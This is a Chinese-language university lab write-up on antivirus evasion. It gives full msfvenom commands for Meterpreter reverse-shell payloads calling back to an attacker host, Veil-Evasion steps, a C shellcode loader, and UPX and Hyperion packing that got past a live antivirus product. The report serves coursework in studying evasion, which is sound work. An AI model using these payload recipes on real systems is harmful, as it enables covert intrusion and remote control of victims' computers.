2018-2019 20165208 網絡對抗 Exp3 免殺原理與實踐

目錄

  • 2018-2019 20165208 網絡對抗 Exp3 免殺原理與實踐
    • 實驗內容
    • 基礎問題回答
    • 實踐過程記錄
      • 任務一:正確使用免殺工具或技巧
      • 任務二:通過組合應用各種技術實現惡意代碼免殺
      • 任務三:用另一電腦實測,在殺軟開啟的情況下,可運行并回連成功,注明電腦的殺軟名稱與版本
    • 開啟殺軟能絕對防止電腦中惡意代碼嗎?
    • 實驗中遇到的問題及解決方法
    • 實驗總結與體會

2018-2019 20165208 網絡對抗 Exp3 免殺原理與實踐

實驗內容

  • 正確使用msf編碼器(0.5分),msfvenom生成如jar之類的其他文件(0.5分),veil-evasion(0.5分),加殼工具(0.5分),使用shellcode編程(1分)

  • 通過組合應用各種技術實現惡意代碼免殺(0.5分)(如果成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖。)

  • 用另一電腦實測,在殺軟開啟的情況下,可運行并回連成功,注明電腦的殺軟名稱與版本(加分0.5)

基礎問題回答

1. 殺軟是如何檢測出惡意代碼的?

  • 通過特征碼:通過檢索文件中是否包含惡意代碼MAL里有并且其他軟件沒有的特征碼。
  • 啟發式:通過片面特征去判斷。(不保證精確性)
  • 基于行為:通過對惡意代碼的觀察研究,發現某些特定的行為可能是惡意代碼的行為。殺軟在監視程序運行的過程中,如果發現了這些特殊行為,就會認為其是惡意軟件。

2. 免殺是做什么?
通過一些特定的操作,使惡意代碼不易被殺毒軟件所發現。例如偽裝,加密,對shellcode進行變形,利用veil進行重寫重編譯。

3. 免殺的基本方法有哪些?

  • 改變特征碼
    • 只有EXE的情況下:加殼(壓縮殼、加密殼)
    • 有shellcode的情況下:用encode進行編碼,基于payload重新編譯生成可執行文件。
    • 有源代碼:用其他語言進行重寫再編譯。
  • 改變行為
    • 通訊方式:盡量使用反彈式連接、使用隧道技術、加密通訊數據。
    • 操作模式:基于內存操作、減少對系統的修改、加入混淆作用的正常功能代碼。
  • 非常規行為
    • 使用一個有漏洞的應用作為后門,編寫攻擊代碼集成到如MSF中
    • 使用社工類攻擊,誘騙目標關閉AV軟件
    • 純手工打造一個惡意軟件

實踐過程記錄

任務一:正確使用免殺工具或技巧

1、 使用msf編碼器,msfvenom生成如jar之類的其他文件。

msf編碼器

Msfvenom是Metasploit平臺下用來編碼payloads免殺的工具。以Metaspliot的知名度和普及度。理所當然,所有AV廠家都盯著呢,一有新編碼算法,馬上就得加到特征庫里呀。
編碼后呢,按理論上講,編碼會降低檢出率,大不了多編碼幾次,總會檢不出來。

  • 編碼一次命令如下(用-e參數編碼):
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.235.128 LPORT=5208 -f exe > met-encoded.exe
    image
  • 放去virscan掃描,28款殺軟檢測出了病毒。(注:由于學號涉及virscan的屏蔽詞,所以檢測文件名部分進行了更改)
    image

  • 編碼十次命令如下(用-i參數指定編碼次數):msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.235.128 LPORT=5208 -f exe > 20165208_back2.exe
    image
  • 再放去掃描,27款殺軟檢測出了病毒,效果不大
    image

jar文件
  • 生成.jar文件夾
    msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.235.128 lport=5208 x> 20165208_backdoor_java.jar
    image
  • 六款軟件檢測出了病毒,優秀!
    image
php文件
  • msfvenom生成php文件:
    msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.235.128 lport=5208 x> 20165208_backdoor.php
    image
  • 生成php文件后,只有一款軟件查出了問題!出乎意料!
    image

2、使用veil-evasion

由于安裝一直出現問題,在嘗試幾次無解后拷貝了同學的虛擬機。。。

  • 在終端中使用veil命令進入應用 > 輸入use evasion進入veil-evasion
    image
    image
  • 然后設置回連IP(此處IP是kali)和端口,輸入generate生成文件,接著輸入你想要payload的名字:veil_c_5208
    輸入use c/meterpreter/rev_tcp.py
    image

  • 設置反彈連接IP,命令為:set LHOST 192.168.235.128,注意此處的IP是KaliIP;
  • 設置端口,命令為:set LPORT 5208
    image

  • 輸入generate生成文件,接著輸入你想要playload的名字:veil_c_5208
    image
    image
  • 放去掃描,15款殺軟檢測出了病毒
    image

3、 半手工注入Shellcode并執行

  • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.235.128 LPORT=5208 -f c用c語言生成一段shellcode;
    image
  • 創建一個文件20165208.c,然后將unsigned char buf[]賦值到其中,代碼如
unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此處省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";int main()
{int (*func)() = (int(*)())buf;func();
}

image

  • 使用命令:i686-w64-mingw32-g++ 20165208.c -o 20165208.exe編譯這個.c文件為可執行文件;
    image
  • 檢測結果如下圖,有13款殺軟發現了問題
    image
  • 移到windows上執行該程序時,被電腦的360衛士查殺。
    image

4、 應用加殼工具


加殼的全稱應該是可執行程序資源壓縮,壓縮后的程序可以直接運行。

加殼的另一種常用的方式是在二進制的程序中植入一段代碼,在運行的時候優先取得程序的控制權,之后再把控制權交還給原始代碼,這樣做的目的是為了隱藏程序真正的OEP(入口點,防止被破解)。大多數病毒就是基于此原理。

加殼的程序需要阻止外部程序或軟件對加殼程序本身的反匯編分析或者動態分析,以達到保護殼內原始程序以及軟件不被外部程序破壞,保證原始程序正常運行。

這種技術也常用來保護軟件版權,防止軟件被破解。但對于病毒,加殼可以繞過一些殺毒軟件的掃描,從而實現它作為病毒的一些入侵或破壞的一些特性。
MSF的編碼器使用類似方法,對shellcode進行再編碼。

在技術上分殼分為:

  • 壓縮殼(減少應用體積,如ASPack,UPX)
  • 加密殼(版權保護,反跟蹤。如ASProtect,Armadillo)
  • 虛擬機(通過類似編譯手段,將應用指令轉換為自己設計的指令集。如VMProtect,Themida)
使用壓縮殼(UPX)
  • 給之前的20165208.exe加個殼得到ky_upxed.exe:
    image
  • 掃描一下,16款軟件發現了問題
    image
使用加密殼(Hyperion)
  • 進入目錄 /usr/share/windows-binaries/hyperion/中;
  • 輸入命令wine hyperion.exe -v ky.upxed.exe ky.upxed.Hyperion.exe進行加殼:
    image
  • 再去掃一遍,更多了。。。
    image

任務二:通過組合應用各種技術實現惡意代碼免殺

  • 通過組合半手工制作shellcode,壓縮殼,加密殼達到了免殺的目的
  • 任務截圖如下:
    image
    image

任務三:用另一電腦實測,在殺軟開啟的情況下,可運行并回連成功,注明電腦的殺軟名稱與版本

注意:由于換了網絡,IP地址會發生變化,shellcode一定要重新生成!!!

免殺方法:先用msfvenom生成shellcode,再使用壓縮殼加殼。
實驗環境:對方電腦為 win7主機,騰訊電腦管家13.0.19837.233
image

開啟殺軟能絕對防止電腦中惡意代碼嗎?

不能!!!!!你看實驗中僅僅做到UNX加殼,49款軟件中就只有1款發現了它。
但是在實驗中我們注意到360殺毒這個流氓軟件云上傳這個功能也是相當狂拽酷炫了。。。起初我們的UPX加殼完全木得問題,但是我們沒有關云計劃。。。然后我們看到了這個。。。
image
然后第一次我們運行還是會被免殺的UNX文件,第二次就涼了。。。。

實驗中遇到的問題及解決方法

1、實驗中不止一次出現了虛擬機IP地址顯示為127.0.0.1的情況,無法ping通也無法上網。
image
解決方法:實驗最初出現了這個問題,考慮到可能是在做另一門實驗對VMware虛擬機網絡進行了設置,查了下網上的解決方法。
image

不過很遺憾沒有成功,后來我又嘗試了自己對橋接、NAT模式進行了設置,也沒有效果。。。于是選擇了還原默認設置,在進行重啟。
image
第一次的問題解決了。
image
不過在我和同學的虛擬機打算相連時,又一次的出現了上述的問題。我按照之前的操作步驟來不好使了。后來是在將網絡設置改成Nat模式重啟,再轉為橋接模式!!!!一定要注意這個時候不要重啟!!!然后就可以了。心疼無數次重啟無數次失敗的自己。。。

實驗總結與體會

本次實驗通過利用一些工具實現了病毒的免殺,不得不說我在看到轉換為php文件后就只有一款殺毒軟件發現了它的時候我是震驚的!!!不過在我的主機上php文件沒有找到可以打開的方式。除此之外在學習其他免殺方法時,我嘗試了捆綁壓縮并隱藏,雖然失敗了,但是也是頭一次發現了壓縮包還可以有這么多設置,以后解壓縮文件也不是很放心了。

聽了這么多節課,也做了好多次實驗,我發現對于計算機水平不錯的人來說,編寫個病毒真的是很容易了,而且我想象中的殺軟也會有漏洞,感覺之前會覺得不容易碰到的木馬病毒,其實不需要什么功夫就可以入侵你的電腦了。所以我們除了基礎防范,一定要在官方渠道下載軟件,即時更新殺軟版本,病毒庫的更新真的很主要。

轉載于:https://www.cnblogs.com/KY-high/p/10630244.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/394468.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/394468.shtml
英文地址,請注明出處:http://en.pswp.cn/news/394468.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

k均值例子 數據挖掘_人工智能、數據挖掘、機器學習和深度學習的關系

一、人工智能人工智能是計算機科學的一個分支,它企圖了解智能的實質,并生產出一種新的能以人類智能相似的方式做出反應的智能機器。實際應用比如:機器視覺,指紋識別,人臉識別,視網膜識別,虹膜識…

hive中sql使用英文分號

hql只要遇見分號則認識是語句的EOF,所以對于分號,需要用“\“轉義。 例如: insert overwrite table test_json_map select {"accountid":"1_:\;11"}, t.map_col from t where dt 2017-08-08 limit 1; 或者用”\073&qu…

軟件系統換服務器地址,天正軟件客戶端修改服務器地址

天正軟件客戶端修改服務器地址 內容精選換一換如果IP經過NAT/WAF,則只能獲取到NAT/WAF轉化后的IP地址,無法獲取到NAT/WAF前的IP地址。如果客戶端為容器,只能獲取到容器所在主機的IP地址,無法獲取容器的IP。四層監聽器(TCP/UDP)開啟…

orcale可視化建立用戶_建立動態可視化的新方法

orcale可視化建立用戶by Sushrut Shivaswamy通過Sushrut Shivaswamy 建立動態可視化的新方法 (A new way of building dynamic visualisations) The Flux architecture gained popularity after Facebook adopted it. It’s a way of managing the state of React components …

leetcode劍指 Offer 47. 禮物的最大價值(動態規劃)

在一個 m*n 的棋盤的每一格都放有一個禮物,每個禮物都有一定的價值(價值大于 0)。你可以從棋盤的左上角開始拿格子里的禮物,并每次向右或者向下移動一格、直到到達棋盤的右下角。給定一個棋盤及其上面的禮物的價值,請計…

atoi()函數

原型&#xff1a;int atoi &#xff08;const char *nptr&#xff09; 用法&#xff1a;#include <stdlib.h> 功能&#xff1a;將字符串轉換成整型數&#xff1b;atoi()會掃描參數nptr字符串&#xff0c;跳過前面的空格字符&#xff0c;直到遇上數字或正負號才開始做…

python socket.error: [Errno 24] Too many open files

以openwrt AR9331開發板為例&#xff0c;socket連接到1019個就報錯 “python socket.error: [Errno 24] Too many open files” 1.查看開發板socket默認連接個數rootTijio:~# ulimit -m1024 2.修改socket連接個數&#xff0c;以root用戶運行以下命令rootTijio:~# ulimit -HSn 1…

選中下拉列表顯示全部數據_小白都能學會的多級下拉列表,讓你的Excel效率提升百倍...

私信回復關鍵詞【工具】&#xff0c;獲取Excel高效小工具合集&#xff01;讓你的Excel效率開掛~你有沒有遇到過這樣的場景&#xff1f;收集上來的各部門工作進度表&#xff0c;里面的答案五花八門。即使在表頭上進行提示規范&#xff0c;手動輸入也十分低效。有沒有什么辦法能夠…

你不知道的javascript(上卷)----讀書筆記

<!DOCTYPE html> <html><head><meta charset"utf-8"><title>你不知道的javascript&#xff08;上卷&#xff09;</title> </head><body><script type"text/javascript">/*//9、this 的全面解析this…

lightgbm 數據不平衡_不平衡數據下的機器學習(下)

本文從不平衡學習的基礎概念和問題定義出發&#xff0c;介紹了幾類常見的不平衡學習算法和部分研究成果。總體來說&#xff0c;不平衡學習是一個很廣闊的研究領域&#xff0c;但受筆者能力和篇幅的限制&#xff0c;本文僅對其中部分內容做了簡單概述&#xff0c;有興趣深入學習…

netty實現高性能文件服務器,通用文件服務組件(Netty實現版本)

本文所述文件服務組件在筆者此前一篇文章中已有闡述(基于netty的文件上傳下載組件)&#xff0c;不過本文將基于之前這個實現再次進行升級改造&#xff0c;利用基于注解的方式進行自動裝配。1. 簡介1.1 Netty簡介Netty是一個異步事件驅動的網絡應用程序框架&#xff0c;用于快速…

leetcode343. 整數拆分(動態規劃)

給定一個正整數 n&#xff0c;將其拆分為至少兩個正整數的和&#xff0c;并使這些整數的乘積最大化。 返回你可以獲得的最大乘積。 示例 1: 輸入: 2 輸出: 1 解釋: 2 1 1, 1 1 1。 解題思路 組成整數兩個數可以進一步拆分&#xff0c;所以可以運用到動態規劃&#xff0c…

愛前端2018全棧大前端_啟動2018年前端工具調查

愛前端2018全棧大前端by Ashley Watson-Nolan通過阿什利沃森-諾蘭 啟動2018年前端工具調查 (Launching the Front-End Tooling Survey 2018) The Front-End Tooling Survey is back to gather input and shed some light on the tooling habits across the web development in…

PHP 小數點保留兩位【轉】

最近在做統計這一塊內容&#xff0c;接觸關于數字的數據比較多&#xff0c; 用到了三個函數來是 數字保留小數后 N 位&#xff1b; 接下來簡單的介紹一下三個函數&#xff1a; 1、number_format echo number_format("5000000")."<br>"; echo number_…

華為杯數學建模2020獲獎名單_我校在2020年全國大學生數學建模競賽中再獲佳績(內附獲獎名單)...

# 近日&#xff0c;從全國大學生數學建模競賽組委會獲悉&#xff0c;我校在2020年全國大學生數學建模競賽中獲得5項國家二等獎。國家獎獲獎數量在全國農林院校中并列排名第二。在黑龍江省高校中位居第三名。1你的喜悅&#xff0c;我們的欣慰# 2020年全國大學生數學建模競賽于9月…

Python 面試總結

公司面試&#xff1a; 1&#xff0c;說說項目都用到了什么技術&#xff1f; 2&#xff0c;mysql索引的種類&#xff1f; 3&#xff0c;索引建多有什么不好&#xff1f; 4&#xff0c;mysql的引擎有什么&#xff1f; 5&#xff0c;redis是單線程還是多線程的? 6, redis的持久化…

醫療器械監管系統總結

算算時間畢業也兩個多月了&#xff0c;心也慢慢塌下來了&#xff0c;少了些許的浮躁&#xff0c;增加了些許的淡定&#xff0c;同時也添加了一些不好的習氣&#xff0c;“混”&#xff0c;混日子的混&#xff0c;生活慢慢的缺少了激情&#xff0c;伴隨著和她漸漸的疏遠。昨天聽…

fn映射 mac 鍵盤_【新鮮評測】高顏值、低延遲、多模式跨平臺辦公神器-米物藍牙鍵盤...

首先&#xff0c;要例行感謝糖紙眾測&#xff0c;感謝麻麻醬給我這次評測機會。大家可以微信搜索【糖紙】小程序免費體驗更多科技產品。小米旗下生態鏈公司米物最近出了一款藍牙雙模鍵盤&#xff0c;它作為一個85全鍵鍵盤&#xff0c;可以完成藍牙和USB轉換&#xff0c;以及PC和…

leetcode413. 等差數列劃分(動態規劃)

數組 A 包含 N 個數&#xff0c;且索引從0開始。數組 A 的一個子數組劃分為數組 (P, Q)&#xff0c;P 與 Q 是整數且滿足 0<P<Q<N 。 如果滿足以下條件&#xff0c;則稱子數組(P, Q)為等差數組&#xff1a; 元素 A[P], A[p 1], …, A[Q - 1], A[Q] 是等差的。并且 …

(轉發)python3用matplotlib繪圖出現中文亂碼的問題

from pandas import Series,DataFrame import matplotlib.pyplot as plt from pylab import mpl mpl.rcParams[font.sans-serif] [SimHei] 字體的選擇如下&#xff1a; 黑體 SimHei微軟雅黑 Microsoft YaHei微軟正黑體 Microsoft JhengHei新宋體 NSimSun新細明體 PMingLiU細明…